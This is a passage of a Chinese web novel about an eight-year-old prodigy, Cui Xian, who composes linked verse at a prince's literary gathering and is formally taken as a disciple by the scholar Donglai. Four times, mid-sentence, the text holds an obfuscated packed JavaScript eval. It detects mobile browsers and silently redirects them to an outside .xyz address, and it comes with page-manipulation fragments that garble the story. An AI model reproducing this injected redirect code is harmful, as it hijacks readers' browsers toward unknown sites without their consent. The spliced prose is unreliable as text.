顿时。 宴席上在座的人都看向崔岘。 周遭围观的大量读书人们也都看向崔岘目光里尽是期待。 联句诗难作出了今日这场文会以后指不定还有没有机会看到。 大家肯定想要见识一番呐! 而后在全场赞叹、惊呼中。 便见崔岘粲然一笑:“王爷诸位前辈们。大家都接一句岘接两句岂非占了便宜?” 绝了! 怎么会有人年纪轻轻能这般张扬肆意又君子谦谦。 分明是来救场的可话一开口又不会让任何人尴尬。 更重要的是—— 他这话分明便是接下了王爷救场的请求啊! 南阳王哈哈大笑看向崔岘的目光中 他顺势风趣道:“无碍这般便宜事儿你大可多占一些!” 于是。 在全场众人期待的注视下崔岘略作沉思而后得意挑了挑眉梢。 应该是刚才那小杯酒下肚的原因。 他脸色微红也不再刻意掩饰情绪这般得意挑眉的表情意思很明显:他做出了一句相当不错的诗。 自己都觉得很是得意! 周围一帮人简直要被钓成翘嘴了。 南阳王更是急不可耐道:“小公子可是作出来了?快讲快讲我 等洗耳恭听。” 崔岘含笑看向东莱先生道:“我这两句是:当敩附金重无贪曜火明!” 轰! 此两句诗一出如奔雷乍起 甚至不必去深究其意单看用词便有扑面而来的大气磅礴之势! 原来最普通的听蝉诗也能写的这般恢弘! 满场为之惊艳震撼。 甚至有读书人急切掏出纸墨涨红着脸开始飞速起笔将这首诗记录下来。 很显然崔岘这句不仅仅是把这首听蝉诗点活了。 更为其拔高了无上的立意。 当敩附金重无贪曜火明! 接上一句‘细管学难成’意思便成了: 蝉那纤细如乐管一般的声响我们很难学得来。但我们应该效仿金石那般厚重而莫要去贪恋萤火般虚浮的光亮。 此两句堪称神来之笔! “好!” “这两句诗一出此首听蝉联句诗绝对能在联句当中占有一席之地!” “今日见小神童才知人外有人何为荧光见皓月!” 在场读书人们激动的脸色发红。 包括吴清澜都在使劲鼓掌。 裴坚、庄瑾等人远远看着岘弟在亭榭里大放光彩既激动又艳羡。 尤其是裴坚眼睛里浮现出一抹无人察觉的低落和自卑。 他好像跟岘弟的差距……越来越大了。 亭榭内。 南阳王被这一句‘当敩附金重无贪曜火明’震得瞠目结舌久久无法回神。 李端同样惊艳又尴尬。 惊艳自然因为这一句写的十分出彩。 尴尬是因为他接不住啊! 大势奔雷破竹涌来裹挟着金石之厚重煌煌不可阻挡。 此时已无任何华丽辞藻可挡其势。 既然挡不住那就只能承接用最朴实无华大巧不工的文字做一张网。 将其势尽数裹挟收纳其中! 这比起势更难。 尤其是还得在短短一盏茶的时间内对出来。 很多苦吟派诗人在联句诗游戏里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088380|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会饮恨败北,就因为它非常考验你的快速临场发挥能力! 正当李端犹豫是否要认输的时候。 东莱先生噌的一下,竟站了起来! 老先生神情激动,苍老的眼睛亮的惊人,他看向崔岘,激动的连赞了三声‘好’。 而后,一手举杯,一手提壶,给自己倒了三杯酒,激动对李端说道:“李端,你且退开。这三杯酒,师兄替你喝了!” 说罢。 老先生豪爽连饮三杯! 李端心中暗喜,面上却一副‘真是受不了你’的表情:“师兄请。” 很显然,东莱先生是被崔岘这一句给惊艳到了。 所以他要来接下一句! 三杯酒下肚,东莱先生脸色也开始泛红。 他沉吟许久,目光在四周围的景物上快速流连扫视。 当看到王府内那几株古松后,眼睛猛然亮起来,激动道:“有了,崔岘你且听好了,看老夫这一句,如何?” “青松四面落,白发一重生!” 好一个‘白发一重生’! 此句一出,周围再次响起雷鸣般的欢呼声、叫好声! 这句的意思是:青松树木的针叶,簌簌从四面八方飘落,鬓边的白发又长出新丝,时光与岁月,在悄然间流逝而去。 年幼者肆意张扬。 年长者感慨光阴。 一老一少携手,为这首听蝉联句诗,注入了灵魂! 文会的氛围,在此刻毫不意外被推上了最高峰。 无数读书人神情激动,举起酒杯,要为这四句旷世惊艳之作碰杯。 甚至连崔岘本人,在听到‘青松四面落,白发一重生’之后,脸上都浮现出浓浓的惊艳。 他站起来,主动举起手中的小杯,赞叹道:“先生大才,岘敬您一杯!” 东莱先生显然也对自己这句极为满意,涨红着脸回敬崔岘:“你方才那句当敩附金重,无贪曜火明,也着实让老夫惊艳。当浮一大白!” 二人对视,而后一饮而尽。 显然,这是兴致上来了! 诗词配酒,越喝越有! 棋逢对手,遇强则强! 他俩这般肆意姿态,看的在场无数人心折神往。 想来今日许多人,此后多年都无法忘掉这场文会,无法忘掉文会上东莱先生和小神童对饮作诗的惊艳场面。 自古以来,书生免不了被诟病‘百无一用’。 八股文、诗词之流,同样被指责没有意义。 但能穿透千百年光阴,在文化长河中尽情闪耀,文字诗词之魅力,又岂能被贬低为‘无用’? 至少,在此时,在此刻。 东莱先生和崔岘,为文字赋予无上魅力,而他俩,也因文字诗词,绚烂耀眼。 在场无数读书人神情激动,眼冒星光。 因为今日这场文会,必将震动大梁士林诗坛。 《听蝉联句诗》也一定会成为一首经典名作! 他们见证了一首名诗的诞生! 甚至文会还没有结束,《听蝉联句诗》已经被激动的读书人们,迫不及待宣扬了出去! ? 90、文会之天下目光聚南阳(八) 在一片振奋惊叹欢呼声中。 南阳王终于回过神来他激动不已大声笑道:“崔小公子东莱先生二位果真盛名之下无虚士!” “本王佩服!” “有二位珠玉在前实在让我等惊艳又惭愧。” “因此本王提议。接下来的诗句大家自行选择接与不接如何?” 这话让钦差齐大人、宋知府、叶县令、裴崇青四人狠狠松了口气。 他们已经不敢再接下去了。 生怕自己毁掉一首有可能名扬士林的联句诗。 那可是会遭无数人耻笑、怒骂的啊! 倒是李端被师兄东莱、和师侄的豪情感染也有了些思路。 他端起酒杯同样一饮而尽笑呵呵道:“那我来接下面的两句:向夕音弥厉迎风翼更轻。” 这一句也引发无数人叫好。 虽说和前面四句无法比拟但李大人作为次辅徒弟也是有才学在身的。 向夕音弥厉迎风翼更轻。 意思是:临近傍晚的时候蝉鸣声会更加激烈。蝉翼迎着秋风振翅显得越发轻盈。 此句不仅扣题 但这两句是顺着东莱先生的那两句来的行文意境很平。 所以接下来还得再次往上起势。 这个是崔岘擅长的。 因此李端接完诗句后直接点了崔岘笑道:“小崔岘你来。” 夏末凉风起池面水波荡漾。 亭榭内。 一身红衣的崔岘衣袍猎猎翻飞。 他被突然点名也毫不怯场。 反而一扬眉将手中的杯盏放于案上脱口而出道:“单嘶出迥树馀响思空城!” 南阳王激动的站起来大声道:“好!” 他这一声‘好’落下。 周围的人们才反应过来纷纷激动夸赞叫好。 显然气氛玩儿嗨了! 好诗配好酒崔岘彻底放开手脚现在接诗竟能想也不想脱口而出接下句。 这得是多么敏捷的才思才能将诗词玩儿的这般得心应手啊! 单嘶出迥树,馀响思空城! 意思便是:孤蝉的嘶鸣声,穿透茂密的树林,高亢余音在整座城市中回荡。 文会行进到这里,人们已经彻底无心其他游戏。 读书人们自发站起来,围在亭榭外,看向崔岘的目光中,尽是惊艳叹服。 还有**声急切道:“记下来了吗,记下来了吗? 因为实在是太精彩了! 推杯换盏,言笑晏晏间,脱口便是佳作金句。 谁不为其风采心折? 今日文会结束,崔岘之名,必将同《听蝉联句诗》一起,再次震撼整个士林诗坛! 东莱先生站了起来。 他已经很久、很久没有这般尽兴了! 不仅是今日之酒,今日之诗,还是眼前的乖乖徒弟,都让老先生满意至极。 他朝着崔岘赞叹微笑,而后道:“这首联句诗,作到此处,还剩四句。你我一人各两句,作为收尾,如何? 崔岘笑道:“先生请。 二十句联句诗,已作十六句。 也该到收尾的时候了! 前文从忧愁、心惊,到宾主尽欢,再到金石之重,白发之轻。 引申到蝉鸣激烈、回荡孤城。 这样一番堪称复杂的心路历程,走到最后,会作何结尾呢? 人们看向崔岘,看向东莱先生,眼睛里满是期待。 也有些紧张。 因为这关乎此首联句诗,是否能平稳落地,作最后的主题升华! 而此时,大家才猛然意识到,八岁的崔岘,已经能和名震大梁的第一名儒东莱先生,共创诗篇了! 这是多么了不起的成就啊! 纵观大梁诗坛,往前百年,往后百年,怕是都不会再出这样一位神仙人物了! 在众人的注视下。 东莱先生也谨慎很多,怕毁掉一首佳作,思索许久,这才道:“嘒唳松间坐,萧寥竹里行。 咿? 怎地到最后,风味儿竟变得有些寂寥了呢? 嘒唳松间坐,萧寥竹里行。 大概意思是:在激励清亮的蝉鸣声当中,于树荫下**,在萧瑟寂寥的竹林里,独自慢慢前行 。 明明并未用华丽辞藻,可此句诗一出,却莫名让人恍惚伤感。 一股知天命年纪的寒霜扑面而来,钻进人骨头缝里,让人冷得无所适从。 那是岁月无情的寒气! 再联想东莱先生妻离子丧的悲痛过往,很多人眼含惋惜同情。 大抵这便是诗词文字的魅力? 明明前一刻还在把酒言欢,张扬肆意,可到最后落点的时候,又不自觉布满哀愁。 可怜白发生啊! 纵然是世间名儒,也逃不掉岁月的桎梏。 那么,崔岘会选择怎么接这一句呢? 因为他这一句,是一首诗的收尾句。 所有人都看向崔岘。 但崔岘只看向东莱先生,他起身离席,向东莱先生执弟子礼,而后笑道:“先生,这最后两句诗,岘想送给您。 哦? 东莱先生笑着颔首,眼神好奇又期待。 崔岘看着自己的老师,稚嫩的脸上满是认真:“我想送给先生的这两句是—— “但饮枝头露,高洁自得名! 整个王府文会霎时间一片安静。 所有人都在品味着这两句收尾诗,或者升华主旨的诗,被震撼到失声无言。 万万没想到,小神童不仅善起大势。 连最后的收尾句,做的都如此隐逸清雅! 但饮枝头露,高洁自得名。 接东莱先生上一句,意思便是: 不管您为何寂寥,又为何在林中孤独前行。但您只管饮枝头之清露,因为您高洁之名,早已传遍四方了啊! 至此,这首诗主题彻底蓬勃升华。 这不再是一首简单的听蝉诗。 而是一首言志诗! 且写的恢弘壮阔、又超然高洁。 与前文‘当敩附金重,无贪曜火明’遥相呼应! 东莱先生将这句‘但饮枝头露,高洁自得名’默念数遍,表情动容。 他微红着双眼,看向自己的小徒弟,颤声道:“好,好啊!好一句‘但饮枝头露,高洁自得名’,为师很喜欢,为师很喜欢啊! 这一句,足以抚平他前半生的所有悲痛了! 但文会上此刻的气氛太过热烈。 很多人甚至还没有意识到,东莱先生这句‘为师’所代表的含义。 大家神情激动,各自奋笔疾书,为见证一首名诗的诞生,而欣喜振奋。 甚至有读书**声朗诵这首听蝉诗的全篇诗句。 高树多凉吹,疏蝉足断声。 已催居客感,更使旁人惊。 晚夏犹知急,新秋别有情。 危湍和不似,细管学难成。 当敩附金重,无贪曜火明。 青松四面落,白发一重生。 向夕音弥厉,迎风翼更轻。 单嘶出迥树,馀响思空城。 嘒唳松间坐,萧寥竹里行。 但饮枝头露,高洁自得名。 这首诗,越往后越大气磅礴,越往后越震撼人心。 收尾借蝉言志,更是将本首诗之意境,拔上了高峰! 读书人们越读越惊艳,甚至纷纷恳请道:“小神童,请给本首诗取个名字吧!” 南阳王也很期待这个环节。 甚至希望这首诗可以命名为《南阳王府文会听蝉联句诗》。 但他知道,现在还不是时候。 南阳王默默站了起来。 包括李端,钦差齐大人,知府大人等人,也都默默起身,走到了亭榭一旁。 将主场交给本就是今日主角的一对师徒。 方才,他俩合力,默契做出一首足以风靡仕林的优秀佳作。 此刻氛围已经被推上顶点。 也是时候,为今日这场文会定性了—— 这不是一场简单的文会,这是一场东莱先生为爱徒精心准备的收徒宴。 文会逐渐安静下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088381|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激动的读书人们,这才注意到,怎地除了小神童和东莱先生,其余人都起身,站到一旁了呢? 发生了什么? 大家神情茫然,显然还没意识接下来要发生什么事情。 庄瑾大声道:“怎么回事,岘弟他——” 吴清澜再次捂住这倒霉孩子的嘴:“十分。” 庄瑾:“……” 亭榭里。 东莱先生看着崔岘,眼睛里是毫不掩饰的赞扬、喜爱、欣慰、骄傲。 他微笑着道:“老夫向来孤傲,这些年也见过不少才子天骄。他们都很优秀,但老夫总觉得,还差点意思。” “于是老夫等啊等,就这样一晃眼,到了知天命的年纪。” “有时候老夫也在发愁,这般大年纪了,再不收个徒弟,自己这一身衣钵,该由谁来传承?” “好在,上天对我周雍不薄。在老夫五十三岁这一年,把你,送到了老夫膝下。” 哗! 听闻这话,周围读书人们哪里还有不懂得? 一个个震惊瞠目哗然的看着这一幕,呆滞当场! 大梁第一名儒,士林文坛的无冕领袖,东莱先生,竟然要收徒了! 真的太突然了,没有一点点预兆! 天呐! 这是足以让士林文坛震动的大事件啊! 在无数人呆滞的注视下。 崔岘看向东莱先生,笑道:“能得老师青睐,亦是岘之幸事。” 说罢。 脊梁笔挺的小少年一甩长衫,双膝下跪。 正所谓:天地君亲师。 今日这一礼,便结下后半生师徒情缘,漫漫人生路,自此相伴前行! 东莱先生站在原地,欣慰的看着弟子给自己叩首,不知为何,哽咽到几欲落泪。 等崔岘行完大礼。 东莱先生赶紧蹲下来,将自己最得意的徒弟扶起来,颤声道:“好孩子,快起来,快起来!” 崔岘起身,郑重唤道:“老师。” 东莱先生激动‘哎’了一声作为回应。 他们师徒情真意切。 殊不知,周围一群读书人们,早已经被震到呆滞了。 可今日似乎是怕他们还不够震撼。 更震撼的一幕,来了! 几乎是在崔岘起身后的瞬间。 王府的中门,轰然打开! 伴随着一道又一道唱名声。 无数代表着大梁王朝各方高官、名儒、贵胄的使从们,先后带着贺礼,鱼贯而入。 “阁老郑大人,祝小徒孙崔岘:乘风扶摇 上,恣意向阳生!” “吏部尚书周大人,祝东莱先生喜得爱徒,祝崔岘小公子:人生正方启,世路始平铺!” “礼部侍郎王大人,祝东莱先生与爱徒崔岘小公子:薪火传灯,桃李成蹊!” “肃国公府,祝东莱先生与爱徒:德润门庭师表正,才辉黉宇学徒贤!” “季甫先生,祝东莱先生与爱徒:师道授业如春雨,徒心承恩似竹生!” “陇西李氏一族,祝东莱先生与崔小公子……” “太原王氏一族,祝东莱先生与崔小公子……” 唱名声,足足唱了一盏茶的功夫! 在无数读书人震撼到头皮发麻的注视下,携带厚礼的各家仆从们,挤满了偌大的王府。 其浩瀚宏大之声势,简直无法用语言来形容。 而这,便是当今文坛领袖,东莱先生的恐怖影响力! 自古士林官场不分家。 在儒林一呼百应的大儒东莱先生收徒,往深了想,那就是文坛领袖找到了自己认可的**人啊! 当唱名声好不容易停下,众人狠狠松了口气,以为终于结束了的时候。 高亢的唱名声,再次响起! “首辅陈大人,恭贺东莱先生喜得爱徒!” “祁王殿下恭贺东莱先生喜得爱徒!” “太子殿下恭贺东莱先生喜得爱徒!” 哗! 这三道唱名声落下,整个王府文会,彻底沸腾了! ? 91、文会之天下目光聚南阳(九) 南阳王府。 持续许久的唱名声终于结束。 全场无数读书人看的瞠目结舌被这浩大场面震惊到呆滞失声。 原来今日这场文会竟然是东莱先生的收徒宴! 小神童崔岘拜东莱先生为师。 当朝两位阁老名门望族仕林大儒甚至连祁王、太子殿下都纷纷派遣使从前来恭贺! 本以为今日文会上作《听蝉联句诗》足以让小神童再次名扬士林。 结果真正的重头戏在于拜师收徒! 单看这些前来恭贺的宾客名录便知这场收徒宴有多么隆重盛大。 今日。 整个大梁两京十三省从文坛到官场天下之目光都聚焦在南阳。 聚焦在小神童身上! 想到这里。 文会上的读书人们齐齐转身呆滞又怔愣的看向亭榭里的崔岘。 崔仲渊、崔伯山二人脸色涨红嘴巴张的老大。 兄弟二人甚至在想百家名门望族给岘哥儿送上厚礼甚至连太子殿下都派遣使从前来祝贺。 待会儿这些礼带回家去娘怕是又要激动到晕过去了! 而裴坚、庄瑾、高奇、李鹤聿四个小少爷 天呐! 这些人全都是来恭贺岘弟的? 莫说他们。 连亭榭里的南阳王、钦差齐大人、宋知府等人都满脸惊异。 毫不夸张的说。 纵观整个大梁王朝也不可能找到比今日更加隆重的收徒宴了! 而这场收徒宴的主角才八岁! 年轻到足以让在场文人汗颜羞愧又艳羡神往。 别人才八岁就已经斩获了他们一生都无法企及的成就啊! 亭榭里。 被全场众人瞩目的崔岘也怔愣住了。 三两杯小酒下肚他本就有些许醉意。 万万没想到一场收徒宴竟然被老师办的如此张扬、声势浩大。 他迷蒙起醉眼怔怔看着这一幕而后不再掩饰情绪脸上浮现出绚烂笑容。 夏末凉风起。 站在亭榭中的红衣少年郎,神采飞扬,青春正好。 今日,是他崔岘的主场啊! 正所谓:人生得意须尽欢。 此刻他崔岘,绝对衬得上‘人生得意’四字! 东莱先生看向小徒弟,笑呵呵自得道:“怎么样,为师替你张罗的这场收徒宴,可还满意否?” 那可太满意了! 崔岘朝老师拱了拱手,笑道:“承蒙老师厚爱,学生——” 但凡今日没喝点小酒,崔岘都会谦虚一把,说上一句‘学生愧不敢当’。 但酒意朦胧,人生得意。 他又这般年轻,在自己的主场,张扬一番,又如何? 因此。 说到这里,崔岘含笑一扬眉梢,整个人看起来意气风发:“学生,却之不恭!” 好一个却之不恭啊! 东莱先生抚掌大笑,而后朝外面扬了扬下巴,骄傲道:“去吧,名门百家为你恭贺,你自该走上前去,收获祝福与赞叹。” “也好让他们瞧瞧,老夫收了一个多么优秀的徒弟!” 全场为之咂舌。 这是得对小神童有多满意,才能说出这般溺爱之话啊! 在无数道目光的注视下。 崔岘抬脚走出亭榭,立于台阶之上,笑着朝前来恭贺的百家使从拱手致谢:“小子崔岘,感谢诸位不远千里,送来祝福。” “然,岘一八岁无名稚童,不敢托大。心中自是清楚,诸位今日携厚礼前来,并非因为岘。” “而是为岘之师,东莱先生。” “承蒙老师厚爱,自今日起,岘得以成为东莱先生之徒。” “方才,老师问我,可还满意这场他为我准备的收徒宴。” “想来为操办这场收徒宴,老师一定提前准备了许久,才能有今日这场盛事。” “岘,不胜感激。” 说到这里。 他回望亭榭里的东莱先生,笑的十分绚烂:“岘年幼,无法效仿老师这般大手笔,但也想尽自己绵薄之力,回馈恩师。” “想来在场诸位也多少听说了,岘如今,在外也算小有一些薄名。” 什么? 听到这话,在场无数人都怔愣住。 随后一个个反应过来,激动的瞪大眼。 小神童所谓的‘薄名’,自然是因为《悯农二首》《咏鹅》这三首诗啊! 难不成,小神童要当场为恩师东莱先生作一首诗? 天呐! 想到这里,在场无数人发出惊呼。 这对师徒,还嫌今日之收徒宴声势不够浩大吗? 继《听蝉联句诗》、名门百家贺喜之后。 小神童竟然还要当场作诗! 难以想象,今日文会结束,将在大梁王朝士林引发多大的轰动! 果然。 在众人惊呼中,崔岘继续笑道:“老师为学生劳心操持,岘无以为报。因此想作诗一首,在这场收徒宴上,在诸位的见证下,赠与我的恩师,东莱先生。 全场沸腾了! 东莱先生是真没想到,弟子会突然来这么一出,整个人惊喜又激动。 南阳王更是兴奋道:“来人,传笔墨纸砚,本王要亲自替崔小公子研墨! 名门百家见证。 南阳王亲自研墨。 无数读书人现场目睹。 原来这场收徒宴,不仅老师在精心准备。 弟子也同样不落其后啊! 很快,笔墨纸砚已备好。 在无数道目光的注视下,崔岘转身返回亭榭。 他一手执笔,先向南阳王致谢,而后看向东莱先生,笑道:“先前,我与人斗诗,对方写了一首《咏新竹》,赠与自己恩师。还阴差阳错,赢了我的《咏鹅》。 听到这话,众人纷纷发笑。 这桩趣事,随着小神童的扬名,如今已经被许多人所熟知。 但为何小神童会无端提起这桩旧事呢? 便见崔岘继续道:“这件小事并不重要,但,别人家恩师有的,岘之恩师,自然也不能落于人后。 “所以,岘赠与恩师这首诗,名字叫做—— 说到这里,他自己先笑了。 笑完后继续道:“叫做《咏新竹》。 全场发出善意哄笑。 且不提这首诗的内容如何,单看这个名字,已足够‘ 雅趣’了! 自古以来。 歌颂老师之诗篇众多其中崔岘脑子里不乏一些‘春蚕到死丝方尽’、‘落红不是无情物’等千古名句。 但这是拜师宴崔岘与老师刚认识不久。 《无题》讲述的是男女离别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088382|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相思后被引申为歌颂老师。 《己亥杂诗》讲的是辞官离京之愁苦。 不仅场景对不上连情绪都对不上。 谁家拜师宴又是让老师‘春蚕到死’又是让老师‘蜡炬成灰’的啊? 太扫兴了! 太凄苦了! 在场文人众多东莱先生自己更是名儒胡乱抄一首出来可是要闹笑话的。 好在感谢老祖宗们文采斐然者众多随便扒拉扒拉总能找到几首名篇! 比如郑板桥这首《新竹》。 全诗意境蓬勃、且充满生命力蕴藏着对长者的感恩与祝福。 最是适合今日之场面! 在东莱先生和无数道目光的注视下。 崔岘提笔一边写一边念出声来:“《咏新竹之南阳王府赠恩师东莱先生》!” 听到这个名字南阳王一张老脸都快要笑僵了。 他知道这是崔岘在对自己‘研墨’一事致谢呢! 而文会上其余人则是大气都不敢喘一下紧紧盯着小神童生怕打扰到他的思路。 王府明明挤满了人却一片安静。 风仍旧在吹。 在莲池一侧竹林随风簌簌摇摆。 去年的老竹更高更壮今年长成的新竹虽矮一些却更加翠绿。 还有几株长势生猛喜人的新竹节节生长竟比老竹都要高一些。 新老丛竹相绕一片郁郁葱葱。 在无数人惊艳的注视下。 便见小神童抬眼看了看那片竹林而后笑着落笔边写边念:“新竹高于旧竹枝全凭老干为扶持!” 前两句一出全场为之叫好! 不仅用最简洁之文字 此句更是在借竹感谢恩师东莱先生啊! 最妙的是小神童把这首诗命名为《咏新竹》。 咏的是新竹,实则赞的却是‘老竹’啊! 果然。 东莱先生听到这前两句,笑的眼睛都眯起来,表情满意极了:“大善!” 崔岘的诗,还在继续写。 既已谢过恩师‘老竹’,那么接下来,该如何往下写呢? 王府里的风,越发的大了起来。 池面皱起涟漪。 松针簌簌落下,竹林随风狂舞。 崔岘的红色衣袍,也在风中猎猎翻飞,配上三分醉意,让他整个人看起来张扬肆意,耀眼夺目。 这个堪称惊艳的名场面,必定会停留在许多人心中,久久无法忘怀。 于烈烈风中。 崔岘扬了扬眉,笑看了东莱先生一眼。 而后在全场震撼到头皮发麻的注视下,笔走龙蛇,为这首诗,画上完美落点。 少年清脆且掷地有声的话音,于王府之内响彻,尽显蓬勃之朝气,肆意之张扬! “明年再有新生者,十丈龙孙绕凤池!” 龙孙:竹子的别称。 凤池:常用来比喻宰相。 所以哪怕这首诗句里‘龙’、‘凤’皆有,也不会逾矩。 这得是一个学生对老师尊敬、感恩到何等程度,才能写出这般蓬勃真挚的美好祝福啊! 此句一出。 整个王府都爆发出雷鸣般的欢呼、叫好声。 而东莱先生本人,更是激动到整个人都涨红了脸。 十丈龙孙绕凤池! 好一个‘十丈龙孙绕凤池’啊! ? 92、文会之天下目光聚南阳(完) 崔岘一句‘十丈龙孙绕凤池’,引得王府全场为之沸腾! “我等有幸,见证了一首名诗的诞生! “今后赠恩师之诗篇当中,又多了一首旷世佳作! “崔小公子,当真文采斐然,令人心折叹服啊。 “文会结束后,小神童崔岘之名,必定再次名动大梁王朝士林诗坛! “不愧是东莱先生的弟子。假以时日,我大梁文坛,必定会再出一位名儒! “这实乃我大梁文坛之幸啊! 文字诗句之魅力,在此刻,在文会上,在崔岘身上,被展露到淋漓尽致! 不仅在场读书人们为崔岘之才华心折。 连前来恭贺的百家使从们,都满眼惊艳震撼。 来之前,他们早已做足心理准备,料定东莱先生收的徒弟绝对不凡。 但未想到,这个叫做崔岘的少年,竟这般芝兰玉树,才华横溢,有龙驹凤雏之姿! 方才红衣小少年笔走龙蛇,当场作诗之风采,仍旧在众人脑海中,久久挥之不散。 什么是天才? 这便是天才! 横空出世,耀眼夺目,一露面,便引来士林文坛震动。 当年。 东莱先生也是这般,于群贤毕集的大梁士林当中,悍然崛起,压得各路天骄才子抬不起头来。 如今,他又收了一个比自己当年,有过之而无不及的徒弟! 各家使从们互相对视,都看懂了彼此眼睛里的凝重。 难不成,大梁王朝士林,又要诞生一位‘小东莱’? 其中,以太原王氏一族的使从,神情最为紧绷。 因为王氏一族,同样出了一位声名赫赫的神童。 据传,这位王家贵公子,天生过目不忘,精通六艺,善辩经文。 如今才12岁,已被王氏一族,视为下一代话事人。 王家使从盯着亭榭里意气风发的崔岘,眼含佩服。 除了自家小公子,这是他头一次,在同龄人当中,见到如此令人心折的年轻优秀天才。 想来小公子看完《咏新竹》这首诗后,定会欣喜吧。 人生路漫漫。 若无几位棋逢 对手之人博弈,岂不无趣? 但怕是只有小公子会这么想。 整个王家,都得严阵以待了! 是以,王家使从今日不仅仅是单纯来祝贺的,也是来……下战书的。 王小公子资质超然,是王家传承千百年来,天资最优渥者。 这关乎着,太原王氏是否能造就出一位当代文坛领袖,在士林一呼百应。 延续王氏先祖之荣光。 因此,在一片欢呼赞叹声中,王家使从站了出来。 另一边。 东莱先生正因乖徒送自己这首诗而欢喜激动,他连道三声‘好’,整个人脸色发红:“这首《咏新竹》,为师很喜欢,很喜欢呐!” “想来今日过后,全天下的老师们,都会羡慕为师!但,且让他们羡慕去。” “因为不必等到明年,老夫的十丈龙孙,今已节节长成了啊!” 听到老师这般夸赞,崔岘正欲接话。 不曾想。 一位自称是王家使从的中年男子站了出来,朗声道:“鄙人太原王氏一族使从,问东莱先生、崔小公子安。” “方才,观崔小公子当场作诗之风姿,属实令人叹服。” “但鄙人今日,代替主家而来,有些话,想提前问个明白。若有扫兴得罪之处,还望东莱先生、崔小公子,以及在场诸位海涵。” 听到这话,全场都安静下来。 其余读书人们神情茫然。 但前来祝贺的各家使从们,却并不意外。 因为,这同样也是他们今日来的目的啊! 崔岘惊讶看向那位王家使从,而后又看向老师,心中隐约明白了些。 东莱先生也并未意外,笑呵呵道:“你且问吧。” 王家使从抬眼看向东莱先生,问道:“敢问先生,假以时日之后。可会让崔小公子,效仿先生当年,广邀天下士林名儒才子,开台辩经?” 听闻这话,无数读书人终于反应过来,瞪圆了双眼。 而后。 便见东莱先生笑呵呵一抚胡须,看向崔岘。 崔岘哪里还有不懂得?拱手道:“学生听老师的。” 于是,东莱先生扬了扬下巴,骄傲道:“自然 。” 哗! 听到这话,不管是全场的读书人,还是百家前来祝贺的使从,都为之侧目哗然。 虽然心中有了猜测。 可答案确定那一刻,仍旧让无数人震撼。 因为这已经代表着,东莱先生不仅宣布收徒,还准备将徒弟,培养为下一任文坛领袖! 王家使从并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088383|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外听到这个答案,又追问道:“可否定下期限?” 东莱先生略作思索,道:“十年。” 徒弟天资卓越,有他悉心教导,十年勤学不辍,大可横行这大梁士林! 十年么。 听闻这话,王家仆从点头:“好,十年之后,我太原王氏,自会有人来向崔小公子讨教!” 结果他话音刚落。 却见崔岘突然站出来,道:“且慢。” 东莱先生,和王家使从俱是一怔。 难道崔岘觉得,十年太短,需要更多的时间去学习? 不曾想。 崔岘认真看向东莱先生:“老师,岘认为,十年太长。以老师之博学,教导岘学习,又怎需要十年之漫长?” 在全场惊叹的注视下。 便见崔岘看向那王家使从,笑的从容不迫:“五年吧。五年之后,我去开封府开台。不管是你王家人,亦或者其余人,都可来登台同我辩经。” “我崔岘,静候诸位莅临!” 少年之话语,自信骄傲,掷地有声。 全场为之侧目惊叹。 仿佛已经看到五年后,开封府,崔岘小公子舌战天下群雄的风姿! 那该是何等令人神往的盛事啊! 而今日文会结束后。 崔岘小公子打算在五年后开封府开台辩经之消息,也势必会传遍整个大梁! 东莱先生抚掌大笑:“哈哈哈哈,好,好啊!不愧是我东莱的徒弟,诸位,既然我家徒弟,已把话说明白了。” “那咱们就五年后,开封见真章吧!” 王家仆从向东莱先生拱手行礼:“五年之约既已达成,鄙人着急赶回去,告知主家这个消息。东莱先生,崔小公子,告辞!” 随着王家使从的离开。 其余百家使从,在得到想要的答案后,也先后告辞离开。 这场声势浩大的文会,或者说收徒宴,终于落下帷幕。 但,它引发的后续动荡,才刚刚开始! 